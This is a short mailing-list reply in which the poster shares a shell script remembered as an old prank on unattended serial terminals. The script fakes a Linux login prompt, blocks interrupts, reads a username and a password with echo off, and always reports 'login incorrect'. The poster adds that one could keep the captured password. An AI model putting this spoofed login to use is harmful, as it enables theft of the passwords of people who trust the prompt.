[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[ale] RAID recovery



James P. Kinney III wrote:
> One word:
> 
> 
> 
> xroach

Here's a fun little script. We used this back in the days when we were 
running a single serial terminal and someone left their machine unattended:

trap "" 1 2 3
PROMPT="linux login: "

while :;do
     echo -n "$PROMPT "
     read login
     echo -n "password: "
     stty -echo
     read pass
     stty echo
     echo
     echo "login incorrect"
     echo; echo
     sleep 2
done

If you were real nasty, you could keep the value of $pass...

-- 
Until later, Geoffrey